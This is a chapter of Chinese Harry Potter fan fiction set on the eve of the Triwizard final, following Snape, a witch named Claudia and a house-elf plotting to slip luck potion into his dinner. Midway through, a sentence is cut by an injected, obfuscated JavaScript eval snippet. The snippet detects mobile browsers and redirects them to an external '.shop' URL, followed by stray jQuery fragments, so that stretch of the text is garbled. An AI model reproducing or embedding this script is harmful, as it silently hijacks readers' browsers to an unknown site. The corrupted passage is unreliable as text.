斯内普大步穿过走廊，推开教职工休息室的门。
六月底的天气，城堡地势且高，仍有一股融融的热风在满屋子巫师之中流转，裹挟着各人身上的体味。他立即觉得不痛快，默不作声地绕过桌椅，走到自己的座位上去。
“你迟到了，西弗勒斯。”邓布利多冲他点点头，或许并没有责怪的意思，因为座位并未坐满，但斯内普还是觉得一阵不悦。
“我得提醒你，邓布利多。”他毫不客气地说，“你只有两个学生免试，其他的人从明天起，还要照常参加期末考试、O.W.Ls和N.E.W.Ts——”
“我真感动。”斯普劳特忽然插话，“你居然记得我们塞德里克。”
“——现在所有要用到的东西都得我自己来准备，难道你没有发现，米勒娃和海格也都还没来，那些需要实物教具来考试——”
斯普劳特清了清嗓子，端端正正地坐着，还冲他笑了笑。
“纳威很能帮得上忙。”她谦逊地收了收下巴，“看起来我们草药学课堂已经形成了一种良好的传统。”
“我得提醒你，波莫娜，你得注意考试公平的问题。”邓布利多扶了扶眼镜，“但是……不得不说，真是羡慕啊，我教变形术的时候，做梦都想有个人能来帮我数针。”
“如果你想增加霍格沃茨教学岗位的话。”卢多·巴格曼不合时宜地加入对话，“我可以帮你在部里说项，董事会我也认识几个人。”
“谢谢你，卢多，但暂时还不需要。”邓布利多笑眯眯地说，“如果我们每一位教授的工作都足够饱和，我想校园生活会平静得多。”
斯内普冷笑了一声，就连弗立维和斯普劳特都隐晦地向校长报以谴责的目光。但邓布利多视而不见，只是继续和与会的校外人士轮流社交，毕竟现在是霍格沃茨的人接连迟到、导致约定的会议无法准时进行。
“这是什么？”他百无聊赖，拿起旁边的一份文件，随手翻开。
“大概是……观众清单之类的，东西……”卡卡洛夫现在看上去就像是一条稍有动静就癫狂大叫、夹着尾巴到处乱窜的麻瓜宠物犬。
斯内普看得很快，一口气翻到最后一页，就手将册子合上。原本就是找点事做，他对自己说。
“找人？找谁？”但有人不那么想。
斯内普面无表情地盯着“阿拉斯托·穆迪”看了一会儿。
“嗯。”他挑了挑眉，难得平和地说，“马尔福他们。”
“食死徒又要借别人的场合搞秘密集会？”巴蒂·克劳奇以一种严厉的目光警告着他，但斯内普只想笑，“当着全校学生的面，这次你们打算放几个黑魔标记？”
“够了。”
他真的快要笑出来了，只好又去看那份册页，整场会议他都在反反复复地翻着那装订在一起的几张羊皮纸，等到散会时，他已经背过了所有的名字。
“辛尼斯塔教授告诉我，明天会是一个好天气。①”邓布利多站起来，教职工休息室的门随即滑开一丝缝隙，“各位，一起完美地结束这场持续一整年的比赛吧！”
“第四位勇士诞生的那一刻起，就完美不了了。”斯内普第一个往外走，将要走下楼梯时，却忍不住驻足。
城堡大门开着，晴朗的午后像一幅框起来的油画。台阶下去是车道，车道的尽头是校门，出去校门，会看见一条林中小路，走到三岔口，一边通向车站，她就在另一边等着他。
斯内普大致能预想到明天会发生什么、他又会遭遇什么。他不畏缩、也不抗拒——既然他不曾得到过，他也不会害怕失去。
可依然有什么不满足，或许他该好好地道别。明明，他已经把主动权交给了她……
如果克劳狄亚愿意呢？
“如果”是如此的刺激、如此的荒唐，他无法想象“愿意”的背面具体会是什么模样……但是，但是如果她愿意，那么……明天过后，他死了也就算了，如果他还活着，无论他是什么境地，他有什么不敢试试的呢？难道克劳狄亚比黑魔王还要可怕？
这个念头忽然冒出来，一下子就滋长得不可抑制。斯内普又回头看了一眼，刚刚独属于他的那幅静谧的油画，已经被三三两两的人影搅散，他转身回到办公室，寄希望于一些杂事使自己冷静。
小精灵送来了印刷好的试卷，一沓一沓、堆成层叠起伏的积雪山峦。魔法生物对巫师的文字并不敏感，很容易有错印、漏印，斯内普抽出一张一年级的，忽然想起有一年他要求克劳狄亚参与阅卷，大概是她四年级的时候？
总之那年，一年级和二年级的魔药学成绩都十分漂亮，估计是某些人平生所能达到的巅峰，克劳狄亚还认认真真地整理了每个人的错漏，是在指望什么，指望他开学后开展针对性的复习吗？
他应该没扔掉的。
斯内普觉得自己一定是疯了。他怎么会……这样，打开每一个抽屉、每一只柜子，就为了找一份尘封多年的——
找到了。
写在她自己某一篇论文的背面，她甚至统计了每一道题的出错率。他那时看到只觉得可笑，完全是没必要的行为。如果有些事他当了这么多年老师都没有做过，说明这些东西都在他的脑子里，无需额外费功夫。
但现在看来，这东西还是有用的。
那张三英尺长的羊皮纸末端落着她的签名——偷懒地只写了缩写，笃定他一定认得——乍一看有种麻瓜漫画的风味。两个连贯的C又高又圆，像是眼睛，缩写符号就是鼻孔。
斯内普微微笑了笑，将论文重新卷好、放回原处。
“克劳狄亚不在，她请假了，教授。”
“……为什么？”
“我想这是她的私事？呃……好吧，别那么看着我，其实没什么可隐瞒的，你既然是她的老师、大概也知道一些：她去教堂了。”
“今天不是礼拜日。”
“她最近每天都去，大概有……一个多月了吧？周六赶早，工作日就挑生意清淡的时段，不着急的话可以在这里等一下，她就快回来了。”
“不用……但是，谢谢。”
教堂的门虚掩着，斯内普的脚步踏在地上，居然激起惊天动地的回响。他下意识给自己用了幻身咒，但跪在最前排的女巫并没有回头。
整座教堂里就只有她，那个坐在祭坛边打盹的麻瓜老头不算。或许克劳狄亚也在昏昏欲睡，或许她只是工作太累了，借此机会来偷懒。另一位克劳奇夫人给了女儿异常惊人的发量，像披着一块暖和厚实的毛绒毯，斯内普看着都替她觉得热。●
报时钟声准点响起，克劳狄亚睁开眼睛，安德烈神父已经开口道：“明天见，凯瑟琳。”
“明天……”克劳狄亚愣了愣，“明天我就不来了，神父。”
“原来你所担心的那件事，将要发生在明天。”神父眼睛还闭着。
“是的……所以我只想呆在离……更近的地方。”
“一切都将如你所愿，别担心，凯瑟琳，你做了很多。”安德烈神父困倦地打了个哈欠，还和睡魔抗争不休，“你还捐了许多钱呢！”
克劳狄亚失笑。
“可他并不是天主的羔羊。”她喃喃道，“他们都不是，或许我至少应该强行抓塞德里克受洗。”
“回去吧……”神父宽容地梦呓着。
克劳狄亚点点头，费劲地挪动着酸疼的双膝，她膝盖以下已经完全失去了知觉。等到安德烈神父终于下定决心、打算起身帮她，一睁眼便失声惊叹了起来：“你的头发！”
“我的头发？”克劳狄亚诧异地回手一摸，继而完全不可置信地从包包里掏出镜子——她的头发全都漂浮了起来，在阳光下自由舒展着纤长华美的肢体，每一根。这让她看上去好像一朵硕大的金合欢。
“上帝啊，我看到了什么？”安德烈神父揉着眼睛走过来，“凯瑟琳，你——”
“静电！！！”克劳狄亚连忙反手捞过自己的头发，揽在手里胡乱地梳理着，“又或许……我马上要被雷劈了？”
“现在？在室内？”
“嗯，球形闪电！”克劳狄亚喊道，“我得走了！神父，您小心点——听说球形闪电会破窗而入、追着人劈！”
她什么都顾不得了，慌慌张张地跑出去，手里还抓着头发，外套和挎包拖泥带水地挂在身上，皮鞋也踩掉了跟——可教堂外只有一群“咕咕”作响的白鸽子灰鸽子花花鸽子，暮色渐近，正准备回巢去。
克劳狄亚感到一阵清晰的失望。
或许真的是静电，六月底的伦敦，在室内……如果她联系媒体，说不定还会登上报纸、学术杂志甚至电视栏目，被请到麻瓜实验室去研究。
她低着头苦笑了一声，慢慢又走回教堂里去。安德烈神父本来兴冲冲准备下班了，见她回来、饶是老人见多识广也有些控制不住自己的表情。
“还有什么事吗，凯瑟琳？”
“我经受不住考验。”她小声说，“主能不能别再考验我了……或者，换种方式考验我？可是神父，我真的很想……很想要有个家。”
“我本来已经做好了祝福你的准备。”安德烈神父招呼她坐在门口的台阶上，鸽子们都不太怕人，挺着肥厚的胸脯子试探性地踱来踱去，渐渐地在他们身边围了一堆，“怎么，你喜欢的人不能给你一个家吗？”
“我不知道。”在强烈的禽类气味里，她感觉好一些了，好像回到了霍格沃茨，帮海格抓韦斯莱那天，“事实上，我并不知道‘家’是什么样子，爸爸妈妈和孩子……可爸爸妈妈已经去往天国，我也早就不是孩子了。”
她所能倚仗的蓝本，只有学校，她童年时为数不多有光彩的日子……然后是霍格沃茨——可学校总是要毕业的。
“我得忏悔。”克劳狄亚清晰地说，“我想当修女并非是因为，我想要全身心地侍奉天主……我只是、只是……”
她只想有一个永远不会毕业的学校。大家热热闹闹地生活在一起，共同吃饭、睡觉、祈祷、工作，谁也不会离开谁，她不再苦苦地想要一个属于自己的空间与天地，因为没有人会突然地闯进来、更不会有人把她抓走。不会有人胁迫她、欺骗她、操控她、愚弄她……神的国度是一片简单的乐土。
更何况……她是个女巫，在麻瓜之中，只要有魔杖，她几乎是无敌的。
“因为我是个懦夫。”克劳狄亚叹了口气，手中的长发像是剖开真心而流淌出的一抔鲜血，“因为我是个虚伪的懦夫。”
“自责是毫无意义的，孩子。”安德烈神父不知道从哪里掰了块面包喂鸽子，真希望不是圣体，“世界上没有任何一个人经受得住拷问真心。纯洁的心灵只会出现在壁画上，我们每个人的心剖开来，都令人倒胃口。”
克劳狄亚笑了一声。“那我该怎么办？”她小声问。
“就像你以前做的那样。”安德烈神父耸耸肩，“吃饭、睡觉、祈祷——这个顺序没有错，否则你会死的，孩子。”
“您其实并不能帮助到我什么吧！”克劳狄亚有些不高兴地说。
“本来就是，能帮助你的只有你自己。”安德烈神父摸了摸自己的心窝，“天主在哪里？祂在你的心里，是你自己的心里。”
她不得不承认安德烈神父的每一句话都很有道理，也并非完全无用，但这并不能舒缓她的焦虑与怅惘。克劳狄亚想她不该在这里，她该去霍格沃茨、紧紧握着斯内普教授的手与他度过这注定不眠的一夜，要参加比赛的塞德里克和其他勇士、要考试的学生甚至邓布利多教授和巴蒂·克劳奇，应该没人睡得着吧？
蜷缩在里德尔府邸中的伏地魔，他睡得着吗？明天就要见到妈妈了，他高兴吗？
如果斯内普教授需要她就好了，可惜她大概起不了什么作用。就算她厚着脸皮跑过去，他又会说什么呢？就算她陪他度过这一夜，明天他还是得去面对伏地魔，以后的每一天他都得面对伏地魔……这徒劳的陪伴反倒像是一种嘲讽。
克劳狄亚望向掌心的头发，六月二十四日初生的红日也像这般耀眼。
“又没睡着？”罗斯默塔打着哈欠走下楼梯，头顶的卷发夹随着她的走动“噼噼啪啪”地往下掉，“看在梅林的份儿上，你不会还对迪戈里那小子余情未了吧？没戏，真的，你看他宁愿去吃帕笛芙夫人那没滋没味的花草茶！”
“我今晚一定可以睡个好觉。”克劳狄亚对自己说，把客人预定的酒摆出来：一只黄油啤酒扎成的花篮。反正也睡不着，她从凌晨三点开始摆弄、到现在将将完成。
“西里斯是不是有病？”罗斯默塔完全难以置信。
“呃……事实上这不是布莱克先生定的。”克劳狄亚揪下围裙，“我现在去麻瓜花店拿花，如果比尔和韦斯莱太太来了，让他们稍等。”
罗斯默塔沉默一时。
“布莱克先生要的酒——一整桶火焰威士忌，我挪出来放在最外面了，克利切来预订的时候说他的主人会亲自来拿，但什么时候不一定。”
“都选择外带啊……”罗斯默塔心驰神往，“感觉今晚霍格沃茨会有一场狂欢！真不错，天气也暖和，等大家比赛完了，正好就在草地上……反正勇士也不需要考试！”
有什么狂欢，食死徒的狂欢吗？
“现在波特的赔率多少？”克劳狄亚随口问。
“跌到底了，差不多1.1？大家都觉得他会拿到三强杯。”
“怪不得。”克劳狄亚望望大张旗鼓的花篮。
“想想去年冬天，大家还都以为‘大难不死的男孩’在第一个项目里活不过五分钟。”罗斯默塔很有些欣慰的模样，“谁能想到他不仅活下来了、还动态排名第一呢？”
“第二是塞德里克——这样想想我们霍格沃茨真的很有问题哎！”克劳狄亚开了个玩笑。
“外面都传那个丽塔·斯基特——就是第一个项目前失踪的记者——是揭露了邓布利多包庇纵容的黑幕才被灭口的，她当时在报纸上骂得多狠！”罗斯默塔故作神秘地放低了声音，“不过那些人都没有斯基特那样会煽动，传了半天也就是传传。”
这桩公案倒是没着落——克劳狄亚还问过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538684|202828||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
巴蒂，但他死都不认，他甚至替他主子和同事认下了伯莎·乔金斯。
“那你要下注吗？”罗斯默塔热情地凑过来，庄家有她的一份，“比赛就要结束了，现在下注有优惠。”
“我不赌博的！”克劳狄亚坚拒，人生至此，她似乎一直在走背字。
等她抱着一大束花回来，韦斯莱母子果然已经到了。比尔正蹲在桌前打量那个啤酒花篮，不老实地拿手戳来戳去，韦斯莱夫人看上去则有些焦虑，见到她来才松了一口气。
“我总担心晚了——他们要我们早饭后一准儿出现在那里。”韦斯莱夫人抱了抱她，“我都听弗雷德和乔治说了，头发真漂亮，克劳狄亚，你天生就该是个韦斯莱。”
“妈妈！”比尔忍不住笑道，“你看哪个适龄女巫不像个韦斯莱？”
克劳狄亚交付了花篮，又把麻瓜店主附赠的气球也挨个吹起来，这时西里斯·布莱克也来了——被卢平教授拖着，两眼发直，脸上还有个不知道枕在哪里硌出来的红印子，连长袍都穿反了。
“我们提前三天就开始庆祝了。”卢平教授看上去也很憔悴。
“前两个项目您怎么不来？”罗斯默塔和韦斯莱夫人都被男巫身上的酒臭气熏得面露难色（连罗斯默塔都！），比尔忍辱负重地帮忙扛起西里斯·布莱克，克劳狄亚装作没看见他的求援信号。
“因为顾忌西弗勒斯，克劳奇小姐。”卢平教授冲城堡方向点了点头，做了个鬼脸，“多亏了他，现在大家都知道我是狼人，我不好再出现在霍格沃茨学生们眼前。”
“那今天？”
“毕竟是决赛——何况白天学生们都在考试，晚上黑乎乎的什么也看不清，大家光看勇士还看不过来，谁又会注意到我呢？何况邓布利多说，西弗勒斯目前暂时顾不上。”
“连屎都有人喜欢！”西里斯·布莱克忽然在比尔的臂膀里奋力高呼，“比如斯普劳特什么的……但是！没有人会喜欢鼻涕精！他就是个——”
“我劝你谨慎发言，大脚板！”卢平教授大声喝道，尽可能不引人注意地递给克劳狄亚一个歉意的眼神，“他最近总是喝酒……总是醉上加醉。”
“这可不太好！”韦斯莱夫人咂着嘴。
卢平教授叹了口气，没有再说什么。两伙人成功合流，急性子的韦斯莱夫人决定先和比尔去城堡，卢平教授只好负责把小朋友大朋友的饮料以及大朋友本人，送去海格的小屋暂存。
“我得出去一趟。”克劳狄亚望着人影消逝的方向出神，“顺利的话，很快就回来。”
“去吧！”罗斯默塔懒懒地打了个哈欠，一指厨房，“反正这么早来的只有没混到入场券的小报记者、来蹲蹲看有什么门路——先把东西准备好！”
“都准备好了——我想失眠也不是毫无益处的，至少我拥有了双倍的工作时间。”克劳狄亚被她引得也打了个哈欠，“我还挺喜欢《唱唱反调》的。”
“他们拿你的头发和克劳奇家的八卦说事儿！”
“没给我材料费确实不应该。”克劳狄亚用一顶麻瓜报童帽替换掉头顶的巫师帽，“不过那篇《傲慢与偏见——巫师红发考》真的很有意思，给‘红发’分了冷暖两个色阶，足足三十四种色号。”
“有意思？”罗斯默塔指了指门外，“你去趟麻瓜的美发沙龙，就知道撰稿人只是捡到了他们不要的染发剂包装。”
她再次回到“三把扫帚”时已经快要午后一点了，罗斯默塔正倚靠着吧台昏昏欲睡，大概还竖着一只耳朵听动静——
“看起来一点都不顺利。”
“的确，我几乎跑遍了整个英国才找到人。”克劳狄亚先拿出给罗斯默塔打包的牛排，最后才珍而重之地从外套内袋里捧出一样东西，“早知道我就自己熬了，人工真是天价——我敢说如果叔叔还活着，斯拉格霍恩教授根本不会问我要钱。”
小手指长短的水晶瓶，粗也只有两根指头粗，胎厚空腔小，约莫也就两口的量——液体宛如熔化的黄金，是福灵剂。
“你现在才想起来作弊——”罗斯默塔正和打包袋作斗争，“不对，哪怕是‘三强争霸赛’，这种程度的作弊也太过分了！”
“给我自己喝的。”克劳狄亚拔出瓶塞，“现在再跟塞德里克说‘为了保住你的小性命拜托请一定要喝一口吧’，他也不会喝的——经历过第二个项目，谁都知道比赛不会真要了勇士的命！”
“那会要了你的命？”
“就当是安慰剂吧，这么下去我可真不行。反正只要我幸运，我所期盼的事就一定会发生，我爱的人就一定会安然无恙，这也说得通嘛！”
她痛快地抿了一小口，忽然又想：为什么不直接让斯内普教授喝呢？他会愿意喝吗？
“雪球雪球！”克劳狄亚急急冲回房间，一进门就喊，“来一下来一下，没有你我可怎么活呢？”
“砰”的一声，小精灵立正站好，昂首挺胸地一跺脚。
“克劳奇小姐！”
“雪球！”克劳狄亚一屁股坐到她面前，拍拍自己的大腿，“坐这儿！
“克劳奇小姐要做坏事！”
“把这个加进斯内普教授的晚饭里！”克劳狄亚把福灵剂交给她，“分开放，每样少少一点，他舌头灵得很。”
“克劳奇小姐是今天第十二位提出类似要求的人，雪球打算同意克劳奇小姐的要求！”
“类似……是哪里类似？”
“给斯内普教授下毒啊！”雪球欢欢喜喜地说，“其他人都被雪球拒绝了！”
克劳狄亚一时语塞。
考试周！
考试周第一天！
除非因为“三强争霸赛”修改了考试日程，否则考试周第一天的魔药考试，现在甚至还没开始——的前提下，依然有十一个人恨到完全失去理智、以至于想用魔药毒死魔药大师还拜托霍格沃茨的家养小精灵去做！
“做得好。”克劳狄亚虚弱地摸了摸雪球瘦瘦的小脊梁，“做得好，雪球。”
“它尝起来什么味道？”雪球举了举药瓶，“雪球不能把砂糖加进盐巴里。”
“没味道。”克劳狄亚老老实实招认，“但是喝完会觉得自己特别行。”
“斯内普教授不喝都觉得自己特别行！”雪球大皱其眉。
“你简直像是波特变的。”克劳狄亚敬畏地说。
“最好的办法是加进黄油啤酒或者南瓜汁里。”雪球还在很严谨地想要完成任务，“但斯内普教授不喝这种东西。”
“做胡萝卜面包时给他单独做，用福灵剂和面团怎么样？”克劳狄亚建议，“如果颜色不褪，就说在炉子里烘过了火，有点儿焦！”
“克劳奇小姐还没那么大的面子。”雪球毫不犹豫地拒绝了她，“太麻烦了，雪球会被发现的。”
“你起来。”克劳狄亚卑微地愤怒了一小下，“你从我腿上起来。”
“总之雪球会自己看着办的！”小精灵飞快地晃着脚，洋洋得意，“夜色降临的时候，这瓶药剂也会进到斯内普教授的胃里，雪球保证！”